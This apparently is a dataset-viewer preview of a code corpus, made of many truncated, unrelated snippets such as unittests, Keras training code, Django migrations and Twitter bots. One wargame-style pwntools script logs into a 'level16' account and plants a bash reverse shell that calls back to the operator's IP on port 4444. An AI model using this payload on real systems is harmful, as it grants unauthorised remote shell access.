content stringlengths 5 1.05M |
|---|
VTABLE(_Main) {
<empty>
Main
}
FUNCTION(_Main_New) {
memo ''
_Main_New:
_T1 = 4
parm _T1
_T2 = call _Alloc
_T3 = VTBL <_Main>
*(_T2 + 0) = _T3
return _T2
}
FUNCTION(main) {
memo ''
main:
_T4 = "hello world"
parm _T4
call _PrintString
}
|
import unittest
from pyaidoop_graphql_client.api import Client
class TestGetTrackingCamera(unittest.TestCase):
def test_signin(self):
"""
Operato 서버에 인증 과정 API
"""
client = Client("http://localhost:3000", "system")
client.signin("admin@hatiolab.com", "admin")
self... |
self.batch_size = 128
self.epochs = 500
def train(self):
self.hist = History()
self.model.fit(self.X_train,
self.y_train,
batch_size=self.batch_size,
epochs=self.epochs,
verbose=1,
validation_data=(self.X_val, s... |
# -*- coding: utf-8 -*-
"""
Provides ANSI escape sequences for coloring/formatting output in ANSI
terminals.
"""
import os
import re
colors = {
'black': u"\x1b[30m",
'red': u"\x1b[31m",
'green': u"\x1b[32m",
'yellow': u"\x1b[33m",
'blue': u"\x1b[34m",
'mage... |
# coding: utf-8
import itertools
import numpy
import os
import pandas
import copy
import subprocess
# &DEVC ID='THCP', QUANTITY='THERMOCOUPLE', XYZ=5.8,8.6,21.0/
def step1(path_data_directory):
# FIND ALL .CSV FILES
# ===================
dir_cwd = os.path.dirname(os.path.abspath(os.path.realpath(__fil... |
from sarpy.io.complex.sicd_elements import Grid
from . import generic_construction_test, unittest
wgt_type_dict = {
'WindowName': 'UNKNOWN',
'Parameters': {'Name': '0.1'},
}
dir_param_dict = {
'UVectECF': {'X': 1, 'Y': 0, 'Z': 0},
'SS': 1,
'ImpRespWid': 1,
'Sgn': -1,
'ImpRespBW': 1,
... |
"""
@Fire
https://github.com/fire717
"""
import os
import json
import pickle
import cv2
import numpy as np
import random
read_list = ["13821708-1-64.json",
"254962538-1-64.json",
"301370759-1-64.json",
"347686742-1-64.json",
"386530533-1-64.json",
... |
from dataclasses import dataclass
@dataclass(frozen=True)
class Parameters:
speed: int
stamina: int
power: int
guts: int
wise: int
def to_dict(self):
return {
'speed': self.speed,
'stamina': self.stamina,
'power': self.power,
'guts': sel... |
import matplotlib
matplotlib.use('TkAgg')
from argparse import ArgumentParser
from collections import defaultdict
from matplotlib import pyplot as plt
from datetime import datetime, timezone
import numpy as np
# import os
import glob
import json
# matplotlib.use( 'tkagg' )
def readCommandLineParameters():
parser... |
import tweepy
import googletrans
import logging
import random
import time
import os
import re
import sys
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webd... |
import logging
import tempfile
from types import SimpleNamespace
from pathlib import Path
from typing import Any, Dict, Optional, Generator, Iterable, List, Tuple
import sqlalchemy as sqla
from sqlalchemy.orm import Session, sessionmaker
import pytest
from tweepy.models import User
from chainblocker import Blocklis... |
"""Test suite for hypercomplex.py based on code from README.md and examples.py."""
import unittest
from hypercomplex import \
reals, \
cayley_dickson_construction, cd_construction, \
cayley_dickson_algebra, cd_algebra, \
CD1, R, Real,\
CD2, C, Complex, \
CD4, Q, Quaternion, \
CD8, O, Octoni... |
from functools import update_wrapper
class Predicate(object):
def __init__(self, fn, name=None, num_args=1, with_kwargs=False):
# fn can be a callable with any of the following signatures:
# - fn(obj=None, target=None)
# - fn(obj=None)
# - fn()
assert callable(fn), 'T... |
"""Pyglet implementation of maze"""
from pegushi_gym.envs.maze import generate_random_maze
import pyglet
import pyglet.clock
import time
maze = generate_random_maze(width = 4, height = 3, seed = 42)
path = ((0, 0), (2, 0), (2, 2), (3, 2))
path_pixels = tuple(((2 * x + 1) * 24, (2 * y + 1) * 24) for (x, y) in path)
wi... |
from django.conf import settings
from qiwi_payments.kassa import QiwiKassa
def cancel_invoice(modeladmin, request, queryset):
kassa = QiwiKassa(settings.QIWI_KASSA_SECRET_KEY)
for item in queryset:
invoice = kassa.cancel_bill(item.bill_id)
item.status = invoice.status.value
item.save()... |
#!/usr/bin/env python
import tkinter as tk
from platform import uname
from app.appmodule.remote import RemoteWindow_W
from app.appmodule.remote import RemoteWindow_L
from app.appmodule.about import AboutWindow
from app.appmodule.localterminal import LocalTerminal
from app.appmodule.sysinfo import SysInfo
from tkinter i... |
import bpy
import os, math, time
from os import path
from . import variables as V
from . import naming_convention as N
from . import helper as H
from PIL import Image, ImageDraw, ImageFont
class LM_Composite(object):
def __init__(self, context):
self.context = context
self.asset_count = len(self.context.scene.lm... |
# -*- coding: utf-8 -*-
"""
:copyright: Copyright 2020 Sphinx Confluence Builder Contributors (AUTHORS)
:license: BSD-2-Clause (LICENSE)
"""
from tests.lib import assertExpectedWithOutput
from tests.lib import buildSphinx
from tests.lib import parse
from tests.lib import prepareConfiguration
from tests.lib import prep... |
from .activation import Activation
import numpy as np
class Tanh(Activation):
"""TODO: Tanh docs"""
def __init__(self):
super().__init__()
def f(self, inputs):
return np.tanh(inputs)
def f_prime(self, inputs):
return 1 - self.f(inputs) ** 2 |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.12 on 2018-08-13 23:24
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('layerindex', '0023_layerupdate_layer_branch_finalise'),
]
operations = [
m... |
"""Tests for the Mailgun component."""
|
import numpy as np
from astropy.tests.helper import pytest
from .. import FITSFigure
ARRAY = np.arange(256).reshape((16, 16))
def test_colorbar_invalid():
f = FITSFigure(ARRAY)
with pytest.raises(Exception):
f.add_colorbar() # no grayscale/colorscale was shown
def test_colorbar_addremove():
f... |
import heapq
def solution(scoville, K):
answer = 0
heap = []
prev = 0
for s in scoville:
heapq.heappush(heap, s)
while len(heap) >= 2:
first = heapq.heappop(heap)
if first >= K:
break
if heapq:
second = heapq.heappop(heap)
else:
... |
from ofptHeader import ofptHeader
def ofptGetConfigReq():
header = ofptHeader(7)
return header |
# Install The Module By "pip install pillow"
from PIL import Image
# Open Image
orginal = Image.open("Belgin_Android.png")
# Image rotate & show
orginal.rotate(45).show()
|
# Copyright (c) 2016-present, Facebook, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed... |
#!/usr/bin/env python
#
# Copyright (C) 2015 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless req... |
#!/usr/bin/env python
#
# Copyright 2014 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
from cStringIO import StringIO
from modular_build import read_file
import re
BASE64_DIGITS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijkl... |
def search(list,n):
for i in range(len(list)):
if list[i] == n:
return True
return False
# list
list = [1, 2, 'apple', 4,'Grapes', 6]
# Driver Code
n = 'Grapes'
if search(list, n):
print("Found")
else:
print("Not Found")
|
import numpy as np
import os.path
import matplotlib.pyplot as plt
encoding = { 1: "ista", 2: 'fista', 3: 'catalyst-ista', 4: "qning-ista", 5: 'svrg', 6: 'catalyst-svrg', 7: "qning-svrg", 8: 'acc-svrg',
9: "miso", 10: "catalyst-miso", 11: "qning-miso", 12: 'lbfgs', 13: "liblinear", 14: "saga", 15: "newton-cg"... |
# -*- coding: utf-8 -*-
# File: cats.py
# Copyright 2021 Dr. Janis Meyer. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-... |
import uos
class Creds:
CRED_FILE = "./wifi.creds"
def __init__(self, ssid=None, password=None):
self.ssid = ssid
self.password = password
def write(self):
"""Write credentials to CRED_FILE if valid input found."""
if self.is_valid():
with open(self.CRED_FILE... |
# This file is not empty !
import sage.graphs.graph_decompositions.vertex_separation
import sage.graphs.graph_decompositions.rankwidth
import sage.graphs.graph_decompositions.bandwidth
|
from whatsmyip.ip import get_ip
from whatsmyip.providers import GoogleDnsProvider
from time import sleep
from datetime import datetime
import socket
def whats_my_ip():
host = '8.8.8.8'
port = 53
try:
socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect((host, port))
except s... |
import click
from rastervision.pipeline import rv_config
from rastervision.core.predictor import Predictor
# https://stackoverflow.com/questions/48391777/nargs-equivalent-for-options-in-click
class OptionEatAll(click.Option):
def __init__(self, *args, **kwargs):
self.save_other_options = kwargs.pop('save... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
a window with menu bar and tool bar
QAction with addAction for event handling(setting hot keys,showing status tip)
set window icon
'''
import os
from os.path import join
import sys
from PyQt4 import QtGui,QtCore
icon_path = join(os.getcwd(),'icon.png')
class Example... |
""" Downloads reports as CSV files from SSRS
Usage: python3 download_ssrs.py some_path=outfile.csv
"""
import io
import requests
from requests_ntlm import HttpNtlmAuth
import getpass
import config
import sys
def save_report(path, outfile, user, password):
""" Saves a report to a file """
print("Downloading %s..... |
from __future__ import annotations
from pathlib import Path
import typing as T
import logging
import re
import asyncio
import os
from operator import itemgetter
from .coro import check_urls as check_urls_async
from .sync import check_urls as check_urls_sync
from . import files
# http://www.useragentstring.com
USER_AG... |
'''Example DB connection implemented with Python dict as the storage
'''
from os.path import expanduser
import json
from fdbk import DBConnection
from fdbk.utils import (
generate_data_entry,
generate_data_response,
generate_topic_dict,
generate_topic_response,
generate_topics_list,
timestamp_... |
################################################################################
#
# This callback implements visualization of the tensor(s) which are
# directly put into the model.
#
# It will:
# 1. print the raw input and ground truth tensor to a file
# 2. print some statistics of the input tensor to a file
# 3... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
###############################################################################
# Copyright 2013 Kitware Inc.
#
# Licensed under the Apache License, Version 2.0 ( the "License" );
# you may not use this file except in compliance with the License.
# You may obtain a cop... |
import sys
from qtpy import QtCore, QtGui, QtWidgets
import qtawesome
# TODO: Set icon colour and copy code with color kwarg
VIEW_COLUMNS = 5
AUTO_SEARCH_TIMEOUT = 500
ALL_COLLECTIONS = 'All'
class IconBrowser(QtWidgets.QMainWindow):
"""
A small browser window that allows the user to search through all ... |
"""A setuptools based setup module.
See:
https://packaging.python.org/en/latest/distributing.html
https://github.com/pypa/sampleproject
"""
# Always prefer setuptools over distutils
from setuptools import setup, find_packages
# To use a consistent encoding
from codecs import open
from os import path
here = pa... |
import re
import csv
import wordninja as wn
import unidecode
from nltk.corpus import stopwords
from nltk.tokenize import word_tokenize
from nltk.stem import WordNetLemmatizer
wordnet_lemmatizer = WordNetLemmatizer()
stopwords = set(stopwords.words('english'))
def remove_duplicates(l):
return list(set(l))
i = ... |
"""Kernels for scikit-image label.
These are copied from CuPy, with modification to add a greyscale_mode
parameter as needed for scikit-image.
"""
import cupy
import numpy
def _label(x, structure, y, greyscale_mode=False):
elems = numpy.where(structure != 0)
vecs = [elems[dm] - 1 for dm in range(x.ndim)]
... |
import os
from flask import redirect
from flask import url_for
from flask import session
from functools import wraps
from flask_oauthlib.client import OAuth
# oauth for github connections
oauth = OAuth()
github = oauth.remote_app(
'github',
consumer_key=os.getenv('CLIENT_ID'),
consumer_secret=os.getenv(... |
"""
This file contains deprecated utilities to work with autodock vina.
"""
from deepchem.utils.docking_utils import write_vina_conf, load_docked_ligands, prepare_inputs
import warnings
import functools
def deprecated(func):
"""This is a decorator which can be used to mark functions
as deprecated. It will resu... |
from django import forms
from django.core.exceptions import ValidationError
from .models import Cotisation, PaymentMethod, GeneralPreferences, PriceProfile, Improvement
class CotisationForm(forms.ModelForm):
"""
Form to add and edit :class:`~preferences.models.Cotisation`.
"""
class Meta:
mode... |
# -*- coding: utf-8 -*-
# flake8: NOQA
"""Portfolio management for open source contributors.
patches
~~~~~~~
:copyright: Copyright 2016 Tony Narlock.
:license: BSD, see LICENSE for details
"""
from typing import List
class Result(object):
pass
class Source(object):
def get_results(self) -> List[Result... |
import json
from pathlib import Path
import random
class getDb:
def __init__(self,filename):
sdx=Path(filename)
# The below function checks if there is a similar .json file
# If the file exists It does nothing and it will add the filename variable to the class.
# But if the fil... |
from . import *
import datetime
from itertools import chain
class DatetimeModel(O.Model):
id = Id()
created = Datetime(create_date=True)
updated = Datetime(update_date=True)
random = Datetime()
datetime_cols = tuple(chain((id_col,), default_cols(created='timestamp', updated='timestamp', random="tim... |
import sys
def FileHeader(time, in_file, out_file, intra_gap_tol, inter_gap_tol, overlap_tol, eval_tol, Tot_prot_cnt, Tot_cnt, NC_cnt, CP_cnt, IS_cnt):
fileHeader = \
"""#===========================================================================================
# DOMAIN MAPPER v2.0.2
# Johns Hopkins Univeristy ... |
import numpy as np
from RRT.polygon_functions import *
INT_MAX = 10000
def is_inside_circle(conf, circle_obstacle):
"""
Checks to see if the configuration is in collision with a circle obstacle.
conf: The location of the point being tested represented as an np.ndarray
of shape (2,).
circle_obstacl... |
"""
*What is this pattern about?
This patterns aims to reduce the number of classes required by an
application. Instead of relying on subclasses it creates objects by
copying a prototypical instance at run-time.
This is useful as it makes it easier to derive new kinds of objects,
when instances of the class have only ... |
from abc import ABCMeta, abstractmethod
from enum import IntEnum
class EViewportType ( IntEnum ):
ET_ViewportUnknown = 0
ET_ViewportXY = 1
ET_ViewportXZ = 2
ET_ViewportYZ = 3
ET_ViewportCamera = 4
ET_ViewportMap = 5
ET_ViewportModel = 6
ET_ViewportZ = 7
ET_ViewportUI = 8
ET_ViewportLast = 9
... |
import os
import uuid
from paste import urlmap
from paste import fileapp
from webob.exc import HTTPNotFound
from minreal.client import MinrealClient
from minreal.csp import CSPApp
class TicTacToeController(object):
def __init__(self):
self._wait_queue = []
self._games = {}
def join(self, ... |
"""Tests for the DoorBird integration."""
|
#
# The contents of this file are subject to the Apache 2.0 license you may not
# use this file except in compliance with the License.
#
# Software distributed under the License is distributed on an "AS IS" basis,
# WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
# for the specific language gov... |
from typing import List
import pygame
import vector
from gameobject.gameobject import DrawComponent, GameObject
# Change width and height to radius
class FireBallComponent(DrawComponent):
def __init__(self, direction: vector.Vector2D, width: int, height: int, game_objects: List[GameObject],
ori... |
# Crie uma lista composta que recebe 5 nomes e 5 idades de clientes, utilizando o for e o if, verifique quais clientes são maiores de idade e quais são menores de idade e mostre na tela a seguinte frase para cada um deles: 'Fulano é maior de idade' ou 'Fulana é menor de idade' e também quantos são maiores e quantos sã... |
from application import db
class Data(db.Model):
id = db.Column(db.Integer, primary_key=True)
notes = db.Column(db.String(128), index=True, unique=False)
def __init__(self, notes):
self.notes = notes
def __repr__(self):
return '<Data %r>' % self.notes
class DailyTemp(db.Model):
i... |
# Copyright 2021 NVIDIA Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in wr... |
import requests
from bs4 import BeautifulSoup
prefix = "https://content.codecademy.com/courses/beautifulsoup/"
webpage_response = requests.get('https://content.codecademy.com/courses/beautifulsoup/shellter.html')
webpage = webpage_response.content
soup = BeautifulSoup(webpage, "html.parser")
turtle_links = soup.find... |
"""
.. module:: check_in_known_missions
:synopsis: Given a string, checks if it's in a list of known mission values.
.. moduleauthor:: Scott W. Fleming <fleming@stsci.edu>
"""
#--------------------
def check_in_known_missions(istring, known_missions, exclude_missions):
"""
Checks if mission string is in ... |
# -*- coding: utf-8 -*-
import multiprocessing
import os
import errno
import re
import wx
import pytsk3
from dfvfs.resolver import resolver
from dfvfs.path import path_spec
from dfvfs.resolver import context
class FileExtractor(multiprocessing.Process):
def __init__(self,fs_path_spec,output_path):
super(Fi... |
import unittest
def invalid_exc(func, *arg, **kw):
from colander import Invalid
try:
func(*arg, **kw)
except Invalid, e:
return e
else:
raise AssertionError('Invalid not raised') # pragma: no cover
class TestSet(unittest.TestCase):
def _makeOne(self, **kw):
from def... |
# Author: Jonas Wiesendanger wjonas@student.ethz.ch
from settings import *
from keras.models import Sequential
from keras.layers.recurrent import LSTM
from keras.layers import Dense, Activation
from keras.layers.embeddings import Embedding
from keras.optimizers import RMSprop, Adam
# from keras.utils import to_categori... |
import argparse
import datetime
import boto3
import pandas
parser = argparse.ArgumentParser(
description='Grant a custom qualification on MTurk.')
parser.add_argument('--access-key-id', required=True, help="AWS Access Key.")
parser.add_argument('--secret-access-key', required=True, type=str, help="AWS Access Key.... |
import base64
from django.forms.widgets import Widget
from . import constants
class WebcamPictureWidget(Widget):
template_name = "webcampicture/webcampicture.html"
needs_multipart_form = True
def format_value(self, value):
# file object
if value and hasattr(value, "file"):
f... |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import tensorflow as tf
from models.custom_layers import embedding_layer
class EmbedCNN(object):
def __init__(self, num_classes, vocab_size, embedding_dim, mlp_dim,
cnn_filter_sizes, cnn_... |
from ipnewt.line_search.line_search import LineSearch, AdaptiveLineSearch, BoundsEnforceLineSearch, IPLineSearch, BracketingLineSearch
from ipnewt.linear.linear_system import LULinearSystem
from ipnewt.linear.linear_res_min import MinLinResLinearSystem
from ipnewt.model.model import Model
from ipnewt.newton.newton impo... |
from azure.eventgrid import CloudEvent
import json
# all types of CloudEvents below produce same DeserializedEvent
cloud_custom_dict = """[{
"id":"de0fd76c-4ef4-4dfb-ab3a-8f24a307e033",
"source":"https://egtest.dev/cloudcustomevent",
"data":{
"team": "event grid squad"
},
"type":"Azure.Sdk.... |
"""
Utilities test module. Asserts that utility functions are correct.
"""
import unittest
import pandas as pd
import numpy as np
import sys; sys.path.append("../")
import missingno as msno
class TestNullitySort(unittest.TestCase):
def setUp(self):
self.df = pd.DataFrame({'A': [0, np.nan, np.nan], 'B': ... |
import scrapy
import numpy as np
from crawler.items import CrawlerItem
class MakeError(Exception):
def __str__(self):
return "self check"
class C_Spider(scrapy.Spider):
name = "critic"
allow_domain = ["metacritic.com"]
def start_requests(self):
for i in range(0, 15+1):
ur... |
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# @Date : 2020/8/2
# @Author : Bruce Liu /Lin Luo
# @Mail : 15869300264@163.com
from creational.singleton.example import Nation, test
class SingletonProxy(object):
"""
类装饰器
这里使用了python的修饰器方法,但实际上这个属于代理模式,所以使用proxy命名
"""
def __init__(self, cls):
... |
import pandas as pd
from io import StringIO
def csv(line, cell):
sio = StringIO(cell)
return pd.read_csv(sio)
def load_ipython_extension(ipython):
"""This function is called when the extension is
loaded. It accepts an IPython InteractiveShell
instance. We can register the magic with the
`regis... |
# -*- coding:utf-8 -*-
from unrar import rarfile
#rar文件压缩解压
|
from flask import Blueprint, Response, abort, g, request
from flask_restful import Api
from flasgger import swag_from
from app.docs.v2.admin.post.post import *
from app.models.account import AdminModel
from app.views.v2 import BaseResource, auth_required, json_required
from app.views.v2.admin.post import CATEGORY_MODE... |
import pytest
import cattle
@pytest.fixture
def client():
url = 'http://localhost:8899/v2/schemas'
return cattle.from_env(url=url)
def test_service_list(client):
services = client.list_service()
assert len(services) > 0
assert services[0].name is not None
|
# The user's inputs for the numbers and the operators
num1 = float(input('Enter your first number: '))
Operator = input('Enter operator: ')
num2 = float(input('Enter your second number: '))
# if Operator is (+ | - | * | /) then print out number 1 (+ | - | * | /) number 2
if Operator == '+':
print(num1 + num2)
eli... |
# coding=utf-8
# Copyright 2017 Christopher Bartz <bartz@dkrz.de>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... |
# Copyright 2016 Huawei, Inc. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... |
import streamlit as st
from streamlit_folium import folium_static
import folium
from branca.element import Figure
import pandas as pd
import joblib
import folium.plugins as plugins
from folium.plugins import HeatMap
import numpy as np
from folium.plugins import MiniMap
from folium.plugins import MeasureContro... |
#!/usr/bin/python3
from pwn import *
from sys import argv,exit
if len(argv) < 3:
sys.exit(f"{argv[0]} Target_IP Local_IP")
level16 = ssh(host=argv[1],user='level16',password='level16')
level16_shell = level16.shell('sh')
level16_shell.sendline(f"echo -e '#!/bin/bash\\nbash -i >& /dev/tcp/{argv[2]}/4444 0>&1'")
net... |
def myFunc():
for i in range(10):
yield (i)
for i in myFunc():
print(i)
|
from absl import flags
import copy
import erdos
import pylot.utils
FLAGS = flags.FLAGS
def add_carla_bridge(control_stream, sensor_ready_stream):
from pylot.simulation.carla_operator import CarlaOperator
op_config = erdos.OperatorConfig(name='carla_operator',
log_file_n... |
# Generated by Django 3.0.1 on 2019-12-29 13:38
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('restaurants', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='place',
... |
import numpy as np
import matplotlib.pyplot as plt
import uncertainties
from scipy.signal import find_peaks
from scipy.optimize import curve_fit
import scipy.constants as sc
import scipy.integrate as integrate
from uncertainties import ufloat
from uncertainties import unumpy as unp
from uncertainties.unumpy import nomi... |
'''
Serialize train data to binary format with help of cPickle.
stored object looks like: dataset and dataset.train_X, dataset.train_Y
'''
import sys
import pickle
from sklearn.feature_extraction.text import HashingVectorizer
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.feature_extractio... |
# Using Perceptron on MNIST data.
# Code Flow:
# 1. Import all relevant libraries.
# 2. Import Perceptron function.
# 3. Main function.
# 3.1 Get MNIST data.
# 3.2 Perceptron function call.
# 1. Import all relevant libraries:
import numpy as np
import pandas as pd
import imp
from d... |
import tensorflow as tf
import tensorflow_probability as tfp
import argparse
import os
parser = argparse.ArgumentParser(
usage="%(prog)s [OPTION] -I Input file",
description="Sobel Edge Detection",
)
parser.add_argument(
"-I", help="Input image", type=str
)
parser.add_argument(
"-p", help="Percentile"... |
#! /usr/bin/python
#-*- coding:utf-8 -*-
#終了メッセージボックスを表示するプログラム
from Tkinter import *
import tkMessageBox
def callback():
if tkMessageBox.askokcancel("Quit","Do you really wish to quit?"):
root.destroy()
#===========================
#main function
#===========================
if __name__ == '__main__':
root = Tk... |
from django import template
register = template.Library()
@register.filter
def humanize_seconds(value):
"""
Returns the given seconds in hours, minutes humanized.
"""
hours, remainder = divmod(value, 3600)
minutes, seconds = divmod(remainder, 60)
finalStr = "" # store final sentence
tmpS... |
#!/usr/bin/python3
# -*- coding: utf-8 -*-
"""
学习print函数的用法
"""
from functools import wraps
def pre_log(func):
@wraps(func)
def wrapper(*args, **kw):
"""wrapper wraps"""
print('call %s():' % func.__name__)
return func(*args, **kw)
return wrapper
@pre_log
def hello(name):
... |
from typing import FrozenSet, Iterable, Tuple, Any, Optional, Sequence, Iterator, List
from pyramids import trees, categorization, parsing, model
from pyramids.categorization import CATEGORY_WILDCARD, LinkLabel, Category
from pyramids.category_maps import CategoryMap
from pyramids.properties import CONJUNCTION_PROPERT... |
# Copyright (c) 2017-2019, Stefan Grönke
# Copyright (c) 2014-2018, iocage
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted providing that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# ... |
import unittest
import flask_unittest
from app import create_flask_app
from unittest import mock
from dotenv import load_dotenv
from tests.model_statuspayload import TestModelStatuspayload
from tests.model_orders import TestModelOrder # noqa: F401
from tests.db_testdata import TestDbData # noqa: F401
# Force overwri... |
class Solution(object):
def maxProfit(self, prices, fee):
"""
:type prices: List[int]
:type fee: int
:rtype: int
"""
if len(prices) <= 1:
return 0
sold = [0] * len(prices)
hold = [0] * len(prices)
hold[0] = -prices[0]
for i ... |
from .base_api import BaseAPI
from .files_comments import FilesComments
class Files(BaseAPI):
"""Follows the Slack Files API. See https://api.slack.com/methods"""
def __init__(self, *args, **kwargs):
super(Files, self).__init__(*args, **kwargs)
self._comments = FilesComments(*args, **kwargs)
... |
from setuptools import setup
from setuptools_rust import Binding, RustExtension
setup(
name = "openstreet",
version = "0.0.1",
rust_extensions = [ RustExtension("openstreet._binding", binding = Binding.PyO3, features = ["extension-module"]) ],
packages = [ "openstreet" ],
# rust extensions are not ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.